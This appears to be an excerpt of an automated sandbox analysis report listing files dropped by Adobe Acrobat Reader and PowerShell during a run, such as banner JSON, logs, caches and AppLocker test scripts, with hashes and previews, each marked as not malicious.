SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfzdPeUkwRe9:YvXKX7xicOGb8Ukee9
MD5:	4F7D2FD49C666225010ABFCDA3E3FD07
SHA1:	5BC6A9DD9F51397225FE3EA7AED7D3824E0458F0
SHA-256:	BCF3A9A970011018634CBAF79AB49C0EB163A127C2FB1BE51BE2234AA8E46FDC
SHA-512:	C599C06834DD0332E0EB6B220837E4634CB0AEEE24050EDE2AA286791A550FF3BFA11319C1A3013AFC4DFB8CF3CB3D292591DAA6F691A1929DEC03FF4FE85328
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277550182855423
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfYdPeUkwRe9:YvXKX7xicOGg8Ukee9
MD5:	55AB506D4F7CAB33EB3572CCF8CBC9F9
SHA1:	6A6FDF8359FA5290BFC3467B2F93A7C6A553F16E
SHA-256:	E815BD8DF149EE1270868A6343029A9C467AEB8E215C29FB43CD90F43744A188
SHA-512:	52AE42230C023BB4FE2D53144241250A01C1180B442584DB94F04F9EA53167792A3424797600F5202BA60FC998FD65F189CFFE1E2173F404978BA5E689492E1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.26378666603917
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJf+dPeUkwRe9:YvXKX7xicOG28Ukee9
MD5:	C747FEB3896D960DCC67BA5721C87885
SHA1:	C707E6D2E2F58763CF8F1860B077CC9F445A37B6
SHA-256:	EAD16E7AE287F66F7886AC2C09C8384788217ED4BA48E727F65379246A1EE677
SHA-512:	D6591614A2B8AEE0AA1CF4C372780C6269D72EADD0115C301B9F9E574A5C74E8A77751EB1EC81EE1ABCE2DA450C4DCF341EE7203FC78BB9120296848AA96E6E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261251574805194
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfbPtdPeUkwRe9:YvXKX7xicOGDV8Ukee9
MD5:	4B49604A56FE2697E43E321CEACFC4A3
SHA1:	7E53DC8A4DD3D96694F47F732BBA1B22AEC462DF
SHA-256:	C377B83FAA73A3BF00E6E4FE2946B43F1791D92983B2ABFF849E3DB3265F3588
SHA-512:	E111A58FEE299C43F0B62A9C570F872797A7FE9A0C06066E794D434C7A4C18BC121D0AE1DC3D8798CD0CDD3BF6917F4EC424CD571B97D0439C8F551B21E258B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264007775512994
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJf21rPeUkwRe9:YvXKX7xicOG+16Ukee9
MD5:	EDD57D461BC847288D14C8D0AFCFEC06
SHA1:	2A28EE2E8E01FF442B91513AC07DF60B0403F469
SHA-256:	26E3CA4051A02617FFD0AB4030888D5606CF22A9864D590DAD8E68AD10086D1E
SHA-512:	6705009960C8F433F43AD4750A291A454768C744900500F20DE46801657D7E434B2A57A1C0C74D4F1D62C8B9FBAB42324D43E72482459C9188572AB270AA5A02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660735345283166
Encrypted:	false
SSDEEP:	24:Yv6X7F7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4nY:YvCBgkDMUJUAh8cvM1
MD5:	8C013E09A91C33ED86DE177F70E209F1
SHA1:	C1CF81DE94E35AF2EEE853B4F10A409CD870204E
SHA-256:	D11641439742F25FD672DEDB1E8CCE3CF316D06C76FF0649E22180623DD602CB
SHA-512:	BBC8153003BC652015C985B6AD6DCEAE3FAB54FAE2C8AC5353EBF3AE1D9784E6866356542C96D8A678D67BF1C827B1D8F1B5113DDF8FC9E50309BF2F50528E87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241434979682147
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJfshHHrPeUkwRe9:YvXKX7xicOGUUUkee9
MD5:	E4A438C20F8DCC3E9F31A87F61817AC2
SHA1:	FD5317F6C6833F2698E34D35C6EE69B545830C7E
SHA-256:	83E052137F8732C1DFD2F4E5FE85486631200508D6DB51903DFE86AFACBF06E7
SHA-512:	E64DDFEF42943205BBEBEF35CD173AFF04C970CB80DF7C1E5AFB2E1B8A5D05FC1CCDB15BB2255A0F72773475B216F57D650F2DD94C45F28EC940D7FC83364CA6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241508530666768
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7xKdhnZiQ0YmxoAvJTqgFCrPeUkwRe9:YvXKX7xicOGTq16Ukee9
MD5:	10ADC05A340314E2E5265C5B4F61D01C
SHA1:	5B713C2A0B501AEFCFC4D98266F5073F5040154B
SHA-256:	79DF95634031991F9F25B70A3A8C48F850B58D3AEE5C64A16EC82F7087BDCD94
SHA-512:	E033EC9D7C15195C9E239E05EA85EF07E393315AE327581B5D23C0127C9648054D1AB850CDFFC61177D9E7F9C167164A07CCC8596DE4E830BF551C78D6FE429E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dee24ae9-2222-4564-915c-35d212935213","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757493270,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138394582113626
Encrypted:	false
SSDEEP:	24:YOQ1gapYmaynJ/3AEqYgZTBCmHtj/D4j0SpvM+aCk2iNbd2LS+Ch/P5eBCX569/7:YPr1B30YgZTsmh768rd0U/PsBmA9/MS
MD5:	C577C9E2A7E04F05C251C0897DAD7671
SHA1:	309965A4D895D1F53B6B699D025AB3E94F90663D
SHA-256:	0E01E05AF9E26E8DA801477579ADD1C548EB4603BFC243A9F8A49AECAA9D514D
SHA-512:	C69E7F18C2B866FBBF431605FE237EC14D5B0E7E17D22AE43E73400598B4F79E691D7C6AF4516A67F530461EAA02A4E751E580D51202FE9633E6128EF16C236D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4e8c76af7961c45d35f36fa924562565","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736578752000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"647f003fc91f108de29fdda48aacf280","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736578752000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8ebd7348c9fd50721ae841184bbf4a5e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736578752000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cb8778870706b9cdd46baff995ae609f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736578752000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f529d31f4d2e72f893e9dd39a3d19d1d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736578752000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"dc7244a710e4890cfc8e2c00daa20d02","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1462577569486423
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urskxRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudc9:TFl2GL7mskXc+XcGNFlRYIX2v3kd
MD5:	ADB3B4F4E7668C3DF8C26840B16E4C2D
SHA1:	D3C619ADF75BF15F7DD6F43D90A5F5ECEF6880B0
SHA-256:	FFF129B5B0EB484F688E8B24FFAB23806058FD56341A3E53A199A4CA1AEE07DD
SHA-512:	5FD02F48CC5C9B8859F9C739FA07C1FCC57298E3E78C35434B872D5132BC297D57037730F6270DC7BF29DC0A82F46EF42408E47AE500933D657B70BA95B469CC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5486434699770082
Encrypted:	false
SSDEEP:	24:7+tHxUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxAqLxx/XYKp:7MCXc+XcGNFlRYIX2vRqVl2GL7msR
MD5:	ABDC4F7CE885E171105EB38D6B5E2EAF
SHA1:	CABA5FD1C2A1110F4BED9C7AC7AF2015C830AF63
SHA-256:	2A32A860E0F8BA09BA4FBA7B985D3D8B82FED3EAB5865C63D3E8282D89729E4F
SHA-512:	07EE7A1391E274176F1F6E9A8F7EAAD8BF36F2791D04F91FF0177711233604CF9A0B13AE748863D7BA1C95C3CCC41AC8E1D3A79956A2D3559EFE3DBE0CFC6EAC
Malicious:	false
Preview:	.... .c.....2.B...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgFmvhhf8nbXrVcmsR3hR6KYHu4Yyu:6a6TZ44ADEAv8Xymi3h3YH/K
MD5:	1638D1DBE30522135CADCB0E9AB262B9
SHA1:	17B7AD8A22DCA700332EF333C4FDC349F8576CCF
SHA-256:	23970AEE131D9E5C97B812A76AD9DDE186E603CF84EBE836D54C9BCBFB8D9932
SHA-512:	CCDD1DFA287E7FE8B573B8C5BE0C51A746E4A21A9A4B3682001F939847717809863F9019BFE4BABBEDCF0CAA45A4B2E1F8A5A7747C4401A3F04712E9CF927EC3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI794b9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4872226941654008
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8bH:Qw946cPbiOxDlbYnuRKdf
MD5:	7374A0477AEBD20AE166506F9BBA3E0D
SHA1:	5EC312FCFAEFCDC1210CAD5D6CFFA0E672049A6F
SHA-256:	70F63074DF1CF3A831CA5DED67146BAE6C0561E03AF4E6F6506CDCD5339F79D7
SHA-512:	C7A08A7135ECCED2AA8349CC7BA0D7B61D2F4287FC715CC270F3F3556CDA4576A79514790C44F0C1CE51D9B8B1985F69E4B8E016A2B2110787335265147477C5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.5.9.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_etyzwjw4.dsr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1ltm51a.pwc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9gghfmf_13bex2x_124.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-59-05-612.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354038215722843
Encrypted:	false
SSDEEP:	384:Hk65yg7DUzWbESJ/sb0J9fSrn8lHn7nLoHPgZgbg/gpgMdKWDhqUHRMcThIh0tYX:fXp
MD5:	84338AE5398E5D04E5B0913BBC54D53E
SHA1:	69BA33BACBB04D8B055D000292C85DBF1C497DEB
SHA-256:	D4CF0496491F196861A53368090E6C39345CD04D07B3306FA748ED8135816E91
SHA-512:	6B7D1F2310C542AD2E09B565209CE16DD69EC6A61BA766AEE2E9F32AD55235E9D7F34DEB74C20D57E90D07E392921A8A5BF93FA8F2F5247FFD1BA5A55B6268A1
Malicious:	false
Preview:	SessionID=969aef97-74c1-49f0-8792-f02a51b590e8.1736578745637 Timestamp=2025-01-11T01:59:05:637-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=969aef97-74c1-49f0-8792-f02a51b590e8.1736578745637 Timestamp=2025-01-11T01:59:05:639-0500 ThreadID=7548 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=969aef97-74c1-49f0-8792-f02a51b590e8.1736578745637 Timestamp=2025-01-11T01:59:05:639-0500 ThreadID=7548 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=969aef97-74c1-49f0-8792-f02a51b590e8.1736578745637 Timestamp=2025-01-11T01:59:05:639-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=969aef97-74c1-49f0-8792-f02a51b590e8.1736578745637 Timestamp=2025-01-11T01:59:05:639-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403953720038527
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbRcbCIlTcbZ:V3fOCIdJDeElI
MD5:	C4651A28DB949183C7D87DB8D23E4FEF
SHA1:	942DDE852BF0364FCB7A17BAD59A798A28B7C188
SHA-256:	BBE8E34BC639C88684BB3349ADBA58A533E8B621878F8BE65503E69F4BFA943C
SHA-512:	BE791B400EC249A0D068721459C58EB47D5AB97F90AE9DFCCA2A6EE3E1BACF3CD92F7B862FAD9170677D84FF060E12908B837623DACFA439C5CC84A7F310869C
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing 